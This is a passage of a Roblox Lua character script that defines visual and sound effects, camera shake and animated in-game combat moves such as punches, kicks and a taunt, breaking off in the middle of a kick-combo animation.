2842 function MoonEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2843 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2844 prt.Anchored = true
2845 prt.CFrame = cframe
2846 local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://259403370", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2847 game:GetService("Debris"):AddItem(prt, 10)
2848 table.insert(Effects, {
2849 prt,
2850 "Cylinder",
2851 delay,
2852 x3,
2853 y3,
2854 z3,
2855 msh
2856 })
2857 end
2858
2859 function HeadEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2860 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2861 prt.Anchored = true
2862 prt.CFrame = cframe
2863 local msh = CreateMesh("SpecialMesh", prt, "Head", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2864 game:GetService("Debris"):AddItem(prt, 10)
2865 table.insert(Effects, {
2866 prt,
2867 "Cylinder",
2868 delay,
2869 x3,
2870 y3,
2871 z3,
2872 msh
2873 })
2874 end
2875
2876 function BreakEffect(brickcolor, cframe, x1, y1, z1)
2877 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new(0.5, 0.5, 0.5))
2878 prt.Anchored = true
2879 prt.CFrame = cframe * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
2880 local msh = CreateMesh("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2881 local num = math.random(10, 50) / 1000
2882 game:GetService("Debris"):AddItem(prt, 10)
2883 table.insert(Effects, {
2884 prt,
2885 "Shatter",
2886 num,
2887 prt.CFrame,
2888 math.random() - math.random(),
2889 0,
2890 math.random(50, 100) / 100
2891 })
2892 end
2893
2894
2895
2896
2897
2898 so = function(id,par,vol,pit)
2899 coroutine.resume(coroutine.create(function()
2900 local sou = Instance.new("Sound",par or workspace)
2901 sou.Volume=vol
2902 sou.Pitch=pit or 1
2903 sou.SoundId=id
2904 sou:play()
2905 game:GetService("Debris"):AddItem(sou,8)
2906 end))
2907 end
2908
2909
2910 --end of killer's effects
2911
2912
2913 function FaceMouse()
2914 local Cam = workspace.CurrentCamera
2915 return {
2916 CFrame.new(char.Torso.Position, Vector3.new(mouse.Hit.p.x, char.Torso.Position.y, mouse.Hit.p.z)),
2917 Vector3.new(mouse.Hit.p.x, mouse.Hit.p.y, mouse.Hit.p.z)
2918 }
2919 end
2920 -------------------------------------------------------
2921 --End Effect Function--
2922 -------------------------------------------------------
2923 function Cso(ID, PARENT, VOLUME, PITCH)
2924 local NSound = nil
2925 coroutine.resume(coroutine.create(function()
2926 NSound = IT("Sound", PARENT)
2927 NSound.Volume = VOLUME
2928 NSound.Pitch = PITCH
2929 NSound.SoundId = "http://www.roblox.com/asset/?id="..ID
2930 swait()
2931 NSound:play()
2932 game:GetService("Debris"):AddItem(NSound, 10)
2933 end))
2934 return NSound
2935 end
2936 function CameraEnshaking(Length, Intensity)
2937 coroutine.resume(coroutine.create(function()
2938 local intensity = 1 * Intensity
2939 local rotM = 0.01 * Intensity
2940 for i = 0, Length, 0.1 do
2941 swait()
2942 intensity = intensity - 0.05 * Intensity / Length
2943 rotM = rotM - 5.0E-4 * Intensity / Length
2944 hum.CameraOffset = Vector3.new(Rad(Mrandom(-intensity, intensity)), Rad(Mrandom(-intensity, intensity)), Rad(Mrandom(-intensity, intensity)))
2945 cam.CFrame = cam.CFrame * CF(Rad(Mrandom(-intensity, intensity)), Rad(Mrandom(-intensity, intensity)), Rad(Mrandom(-intensity, intensity))) * Euler(Rad(Mrandom(-intensity, intensity)) * rotM, Rad(Mrandom(-intensity, intensity)) * rotM, Rad(Mrandom(-intensity, intensity)) * rotM)
2946 end
2947 hum.CameraOffset = Vector3.new(0, 0, 0)
2948 end))
2949 end
2950 -------------------------------------------------------
2951 --End Important Functions--
2952 -------------------------------------------------------
2953
2954
2955 -------------------------------------------------------
2956 --Start Customization--
2957 -------------------------------------------------------
2958 local Player_Size = 1
2959 if Player_Size ~= 1 then
2960 root.Size = root.Size * Player_Size
2961 tors.Size = tors.Size * Player_Size
2962 hed.Size = hed.Size * Player_Size
2963 ra.Size = ra.Size * Player_Size
2964 la.Size = la.Size * Player_Size
2965 rl.Size = rl.Size * Player_Size
2966 ll.Size = ll.Size * Player_Size
2967 ----------------------------------------------------------------------------------
2968 rootj.Parent = root
2969 neck.Parent = tors
2970 RW.Parent = tors
2971 LW.Parent = tors
2972 RH.Parent = tors
2973 LH.Parent = tors
2974 ----------------------------------------------------------------------------------
2975 rootj.C0 = RootCF * CF(0 * Player_Size, 0 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(0), Rad(0))
2976 rootj.C1 = RootCF * CF(0 * Player_Size, 0 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(0), Rad(0))
2977 neck.C0 = necko * CF(0 * Player_Size, 0 * Player_Size, 0 + ((1 * Player_Size) - 1)) * angles(Rad(0), Rad(0), Rad(0))
2978 neck.C1 = CF(0 * Player_Size, -0.5 * Player_Size, 0 * Player_Size) * angles(Rad(-90), Rad(0), Rad(180))
2979 RW.C0 = CF(1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(0), Rad(0)) --* RIGHTSHOULDERC0
2980 LW.C0 = CF(-1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(0), Rad(0)) --* LEFTSHOULDERC0
2981 ----------------------------------------------------------------------------------
2982 RH.C0 = CF(1 * Player_Size, -1 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(90), Rad(0)) * angles(Rad(0), Rad(0), Rad(0))
2983 LH.C0 = CF(-1 * Player_Size, -1 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(-90), Rad(0)) * angles(Rad(0), Rad(0), Rad(0))
2984 RH.C1 = CF(0.5 * Player_Size, 1 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(90), Rad(0)) * angles(Rad(0), Rad(0), Rad(0))
2985 LH.C1 = CF(-0.5 * Player_Size, 1 * Player_Size, 0 * Player_Size) * angles(Rad(0), Rad(-90), Rad(0)) * angles(Rad(0), Rad(0), Rad(0))
2986 --hat.Parent = Character
2987 end
2988 ----------------------------------------------------------------------------------
2989 local SONG = 900817147 --900817147
2990 local SONG2 = 0
2991 local Music = Instance.new("Sound",tors)
2992 Music.Volume = 0.7
2993 Music.Looped = true
2994 Music.Pitch = 1 --Pitcher
2995 ----------------------------------------------------------------------------------
2996 local equipped = false
2997 local idle = 0
2998 local change = 1
2999 local val = 0
3000 local toim = 0
3001 local idleanim = 0.4
3002 local sine = 0
3003 local Sit = 1
3004 local attacktype = 1
3005 local attackdebounce = false
3006 local euler = CFrame.fromEulerAnglesXYZ
3007 local cankick = false
3008 ----------------------------------------------------------------------------------
3009 hum.WalkSpeed = 8
3010 hum.JumpPower = 57
3011--[[
3012local ROBLOXIDLEANIMATION = IT("Animation")
3013ROBLOXIDLEANIMATION.Name = "Roblox Idle Animation"
3014ROBLOXIDLEANIMATION.AnimationId = "http://www.roblox.com/asset/?id=180435571"
3015]]
3016 local ANIMATOR = hum.Animator
3017 local ANIMATE = char.Animate
3018 ANIMATE.Parent = nil
3019 ANIMATOR.Parent = nil
3020 -------------------------------------------------------
3021 --End Customization--
3022 -------------------------------------------------------
3023
3024
3025 -------------------------------------------------------
3026 --Start Attacks N Stuff--
3027 -------------------------------------------------------
3028
3029 --pls be proud mak i did my best
3030
3031
3032
3033 function attackone()
3034
3035 attack = true
3036
3037 for i = 0, 1.35, 0.1 do
3038 swait()
3039 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-4-2*i), math.rad(4+2*i), math.rad(-40-11*i)), 0.2)
3040 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(0), math.rad(40+11*i)), 0.2)
3041 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.6, 0.2) * angles(math.rad(90+4*i), math.rad(-43), math.rad(16+6*i)), 0.3)
3042 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(90), math.rad(0), math.rad(-43)), 0.3)
3043 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.7, 0) * RHCF * angles(math.rad(-34), math.rad(0), math.rad(-17)), 0.2)
3044 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, -0.2) * LHCF * angles(math.rad(-24), math.rad(0), math.rad(0)), 0.2)
3045 end
3046
3047 so("http://roblox.com/asset/?id=1340545854",ra,1,math.random(0.7,1))
3048
3049
3050 con5=ra.Touched:connect(function(hit)
3051 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3052 if attackdebounce == false then
3053 attackdebounce = true
3054
3055 so("http://roblox.com/asset/?id=636494529",ra,2,1)
3056
3057 RingEffect(BrickColor.new("White"),ra.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3058 RingEffect(BrickColor.new("White"),ra.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3059 SphereEffect(BrickColor.new("White"),ra.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3060
3061
3062 coroutine.resume(coroutine.create(function()
3063 for i = 0,1,0.1 do
3064 swait()
3065 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8)),0.24)
3066 end
3067 end))
3068
3069
3070 wait(0.34)
3071 attackdebounce = false
3072
3073 end
3074 end
3075 end)
3076 for i = 0, 1.12, 0.1 do
3077 swait()
3078 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, -0.9, -0) * angles(math.rad(14), math.rad(6), math.rad(23)), 0.35)
3079 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(-4), math.rad(0), math.rad(-23)), 0.35)
3080 RW.C0 = clerp(RW.C0, CFrame.new(1.3, 0.6, -0.8) * angles(math.rad(110), math.rad(23), math.rad(2)), 0.4)
3081 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0.2) * angles(math.rad(-37), math.rad(0), math.rad(-13)), 0.35)
3082 RH.C0 = clerp(RH.C0, CFrame.new(1, -1, -0.3) * RHCF * angles(math.rad(-4), math.rad(0), math.rad(6)), 0.3)
3083 LH.C0 = clerp(LH.C0, CFrame.new(-1, -1, 0.05) * LHCF * angles(math.rad(-22), math.rad(0), math.rad(23)), 0.3)
3084 end
3085
3086 con5:Disconnect()
3087 attack = false
3088
3089 end
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102 function attacktwo()
3103
3104 attack = true
3105
3106 for i = 0, 1.35, 0.1 do
3107 swait()
3108 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-4), math.rad(-4), math.rad(40)), 0.2)
3109 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(0), math.rad(-40)), 0.2)
3110 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(90), math.rad(0), math.rad(46)), 0.3)
3111 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.6, 0.2) * angles(math.rad(90), math.rad(23), math.rad(6)), 0.3)
3112 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.7, -0.2) * RHCF * angles(math.rad(-34), math.rad(0), math.rad(-17)), 0.2)
3113 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-24), math.rad(0), math.rad(0)), 0.2)
3114 end
3115
3116 so("http://roblox.com/asset/?id=1340545854",la,1,math.random(0.7,1))
3117
3118
3119 con5=la.Touched:connect(function(hit)
3120 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3121 if attackdebounce == false then
3122 attackdebounce = true
3123
3124 so("http://roblox.com/asset/?id=636494529",la,2,1)
3125
3126 RingEffect(BrickColor.new("White"),la.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3127 RingEffect(BrickColor.new("White"),la.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3128 SphereEffect(BrickColor.new("White"),la.CFrame*CFrame.new(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3129
3130
3131 coroutine.resume(coroutine.create(function()
3132 for i = 0,1,0.1 do
3133 swait()
3134 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8)),0.24)
3135 end
3136 end))
3137
3138
3139 wait(0.34)
3140 attackdebounce = false
3141
3142 end
3143 end
3144 end)
3145
3146
3147
3148
3149 for i = 0, 1.12, 0.1 do
3150 swait()
3151 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, -0.9, -0) * angles(math.rad(14), math.rad(-6), math.rad(-27)), 0.35)
3152 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(-4), math.rad(0), math.rad(27)), 0.35)
3153 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0.16) * angles(math.rad(-33), math.rad(0), math.rad(23)), 0.4)
3154 LW.C0 = clerp(LW.C0, CFrame.new(-1.3, 0.67, -0.9) * angles(math.rad(116), math.rad(-28), math.rad(1)), 0.35)
3155 RH.C0 = clerp(RH.C0, CFrame.new(1, -1, 0.05) * RHCF * angles(math.rad(-22), math.rad(0), math.rad(-18)), 0.3)
3156 LH.C0 = clerp(LH.C0, CFrame.new(-1, -1, -0.3) * LHCF * angles(math.rad(-2), math.rad(0), math.rad(4)), 0.3)
3157 end
3158
3159 con5:Disconnect()
3160 attack = false
3161
3162 end
3163
3164
3165
3166
3167
3168 function attackthree()
3169
3170 attack = true
3171
3172
3173 for i = 0, 1.14, 0.1 do
3174 swait()
3175 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-4), math.rad(-4), math.rad(40)), 0.2)
3176 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(0), math.rad(-40)), 0.2)
3177 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(90), math.rad(0), math.rad(-46)), 0.3)
3178 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.6, 0.2) * angles(math.rad(90), math.rad(23), math.rad(36)), 0.3)
3179 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.7, -0.2) * RHCF * angles(math.rad(-34), math.rad(0), math.rad(-17)), 0.2)
3180 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-12), math.rad(0), math.rad(34)), 0.2)
3181 end
3182
3183 con5=hum.Touched:connect(function(hit)
3184 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3185 if attackdebounce == false then
3186 attackdebounce = true
3187
3188 so("http://roblox.com/asset/?id=636494529",ll,2,1)
3189
3190 RingEffect(BrickColor.new("White"),ll.CFrame*CF(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3191 RingEffect(BrickColor.new("White"),ll.CFrame*CF(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3192 SphereEffect(BrickColor.new("White"),ll.CFrame*CF(0,-1,0)*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3193
3194
3195 coroutine.resume(coroutine.create(function()
3196 for i = 0,1,0.1 do
3197 swait()
3198 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8)),0.24)
3199 end
3200 end))
3201
3202
3203 wait(0.34)
3204 attackdebounce = false
3205
3206 end
3207 end
3208 end)
3209
3210 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3211 for i = 0, 9.14, 0.3 do
3212 swait()
3213 BlockEffect(BrickColor.new("White"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3214 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(8), math.rad(8), math.rad(0-54*i)), 0.35)
3215 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3216 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3217 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3218 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(7), math.rad(0), math.rad(4)), 0.35)
3219 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-64-7*i), math.rad(0), math.rad(0-9*i)), 0.35)
3220 end
3221 attack = false
3222 con5:disconnect()
3223 end
3224
3225
3226
3227 function attackfour()
3228
3229 attack = true
3230 so("http://www.roblox.com/asset/?id=1452040709", RightLeg, 3, 1)
3231 WaveEffect(BrickColor.new("White"), root.CFrame * CFrame.new(0, -1, 0) * euler(0, math.random(-50, 50), 0), 1, 1, 1, 1, 0.5, 1, 0.05)
3232 for i = 0, 5.14, 0.1 do
3233 swait()
3234 SphereEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3235 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.8) * angles(math.rad(24+4*i), math.rad(0), math.rad(0)), 0.2)
3236 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0+11*i), math.rad(0), math.rad(0)), 0.2)
3237 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(0-6*i), math.rad(0), math.rad(36+4*i)), 0.3)
3238 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(0-6*i), math.rad(0), math.rad(-36-4*i)), 0.3)
3239 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.6, -0.3) * RHCF * angles(math.rad(0), math.rad(0), math.rad(-28+4*i)), 0.2)
3240 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.2, -0.5) * LHCF * angles(math.rad(0), math.rad(0), math.rad(-34-4*i)), 0.2)
3241 end
3242 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3243 local velo=Instance.new("BodyVelocity")
3244 velo.velocity=vt(0,25,0)
3245 velo.P=8000
3246 velo.maxForce=Vector3.new(math.huge, math.huge, math.huge)
3247 velo.Parent=root
3248 game:GetService("Debris"):AddItem(velo,0.7)
3249
3250
3251
3252 con5=hum.Touched:connect(function(hit)
3253 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3254 if attackdebounce == false then
3255 attackdebounce = true
3256 coroutine.resume(coroutine.create(function()
3257 for i = 0,1.5,0.1 do
3258 swait()
3259 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.6,-1.8)
3260 end
3261 end))
3262 so("http://roblox.com/asset/?id=636494529",rl,2,1)
3263 RingEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3264 RingEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3265 SphereEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3266
3267
3268
3269 coroutine.resume(coroutine.create(function()
3270 for i = 0,1,0.1 do
3271 swait()
3272 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.75*1.8,0.75*1.8),math.random(-0.75*1.8,0.75*1.8),math.random(-0.75*1.8,0.75*1.8)),0.44)
3273 end
3274 end))
3275
3276
3277 wait(0.14)
3278 attackdebounce = false
3279 end
3280 end
3281 end)
3282
3283 for i = 0, 5.11, 0.15 do
3284 swait()
3285 BlockEffect(BrickColor.new("White"), rl.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3286 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, 0.1+0.2*i) * angles(math.rad(-10-80*i), math.rad(0), math.rad(0)), 0.42)
3287 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(-43), math.rad(0), math.rad(0)), 0.42)
3288 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(-8), math.rad(0), math.rad(60)), 0.35)
3289 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(-8), math.rad(0), math.rad(-60)), 0.35)
3290 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.5, 0) * RHCF * angles(math.rad(0), math.rad(0), math.rad(20+10*i)), 0.42)
3291 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.5, -0.4) * LHCF * angles(math.rad(0), math.rad(0), math.rad(24)), 0.42)
3292 end
3293
3294
3295 attack = false
3296 con5:disconnect()
3297 end
3298
3299
3300
3301
3302
3303 local cooldown = false
3304 function quickkick()
3305 attack = true
3306
3307
3308 con5=hum.Touched:connect(function(hit)
3309 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3310 if attackdebounce == false then
3311 attackdebounce = true
3312
3313 coroutine.resume(coroutine.create(function()
3314 for i = 0,1.5,0.1 do
3315 swait()
3316 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.3,-1.8)
3317 end
3318 end))
3319
3320 so("http://roblox.com/asset/?id=636494529",rl,2,1)
3321 RingEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3322 RingEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3323 SphereEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3324
3325
3326
3327 coroutine.resume(coroutine.create(function()
3328 for i = 0,1,0.1 do
3329 swait()
3330 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.8*1.8,0.8*1.8),math.random(-0.8*1.8,0.8*1.8),math.random(-0.8*1.8,0.8*1.8)),0.44)
3331 end
3332 end))
3333
3334
3335 wait(0.08)
3336 attackdebounce = false
3337 end
3338 end
3339 end)
3340
3341 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3342 for i = 0, 11.14, 0.3 do
3343 swait()
3344 root.Velocity = root.CFrame.lookVector * 30
3345 BlockEffect(BrickColor.new("White"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3346 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(-21-30*i), math.rad(8+10*i), math.rad(0-90*i)), 0.35)
3347 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3348 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3349 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3350 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(7), math.rad(0), math.rad(4)), 0.35)
3351 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-64-2*i), math.rad(0), math.rad(0-9*i)), 0.35)
3352 end
3353 attack = false
3354 con5:disconnect()
3355 end
3356
3357
3358
3359
3360
3361
3362
3363
3364 function Taunt()
3365 attack = true
3366 hum.WalkSpeed = 0
3367 Cso("1535995570", hed, 8.45, 1)
3368 for i = 0, 8.2, 0.1 do
3369 swait()
3370 hum.WalkSpeed = 0
3371 rootj.C0 = clerp(rootj.C0, RootCF * CF(0* Player_Size, 0* Player_Size, -0.1 + 0.1* Player_Size * Cos(sine / 12)) * angles(Rad(0), Rad(0), Rad(0)), 0.2)
3372 tors.Neck.C0 = clerp(tors.Neck.C0, necko* CF(0, 0, 0 + ((1* Player_Size) - 1)) * angles(Rad(25), Rad(0), Rad(16 * Cos(sine / 12))), 0.2)
3373 RH.C0 = clerp(RH.C0, CF(1* Player_Size, -0.9 - 0.1 * Cos(sine / 12)* Player_Size, 0* Player_Size) * angles(Rad(0), Rad(75), Rad(0)) * angles(Rad(-6.5), Rad(0), Rad(0)), 0.1)
3374 LH.C0 = clerp(LH.C0, CF(-1* Player_Size, -0.9 - 0.1 * Cos(sine / 12)* Player_Size, 0* Player_Size) * angles(Rad(0), Rad(-75), Rad(0)) * angles(Rad(-6.5), Rad(0), Rad(0)), 0.1)
3375 RW.C0 = clerp(RW.C0, CF(1.1* Player_Size, 0.5 + 0.05 * Sin(sine / 12)* Player_Size, -0.5* Player_Size) * angles(Rad(180), Rad(6), Rad(-56)), 0.1)
3376 LW.C0 = clerp(LW.C0, CF(-1* Player_Size, 0.1 + 0.05 * Sin(sine / 12)* Player_Size, -0.5* Player_Size) * angles(Rad(45), Rad(6), Rad(86)), 0.1)
3377 end
3378 attack = false
3379 hum.WalkSpeed = 8
3380 end
3381
3382
3383
3384
3385
3386
3387
3388 function Hyperkickcombo()
3389
3390 attack = true
3391 so("http://www.roblox.com/asset/?id=1452040709", RightLeg, 3, 1)
3392 WaveEffect(BrickColor.new("White"), root.CFrame * CFrame.new(0, -1, 0) * euler(0, math.random(-50, 50), 0), 1, 1, 1, 1, 0.5, 1, 0.05)
3393 for i = 0, 7.14, 0.1 do
3394 swait()
3395 SphereEffect(BrickColor.new("White"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3396 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.8) * angles(math.rad(24), math.rad(0), math.rad(0)), 0.2)
3397 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(0), math.rad(0)), 0.2)
3398 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(-20), math.rad(0), math.rad(36)), 0.3)
3399 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(-20), math.rad(0), math.rad(-36)), 0.3)
3400 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.6, -0.3) * RHCF * angles(math.rad(0), math.rad(0), math.rad(-28)), 0.2)
3401 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.2, -0.5) * LHCF * angles(math.rad(0), math.rad(0), math.rad(-34)), 0.2)
3402 end
3403 local Cracking = Cso("292536356", tors, 10, 1)
3404 for i = 0, 7.14, 0.1 do
3405 swait()
3406 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3407 Aura(5, 0.15, "Add" , root.CFrame * CF(Mrandom(-12, 12), -6, Mrandom(-12, 12)) * angles(Rad(90 + Mrandom(-12, 12)), 0, 0), 1.5, 1.5, 10, -0.015, BrickC"Lime green", 0, "Sphere")
3408 WaveEffect(BrickColor.new("Lime green"), root.CFrame * CFrame.new(0, -6, 0) * euler(0, math.random(-25, 25), 0), 1, 1, 1, 1, 0.2, 1, 0.05)
3409 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3410 SphereEffect(BrickColor.new("Lime green"),ll.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3411 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.8) * angles(math.rad(24), math.rad(0), math.rad(0)), 0.2)
3412 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(30), math.rad(0), math.rad(0)), 0.2)
3413 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(20), math.rad(0), math.rad(36)), 0.3)
3414 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(20), math.rad(0), math.rad(-36)), 0.3)
3415 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.6, -0.3) * RHCF * angles(math.rad(0), math.rad(0), math.rad(-28)), 0.2)
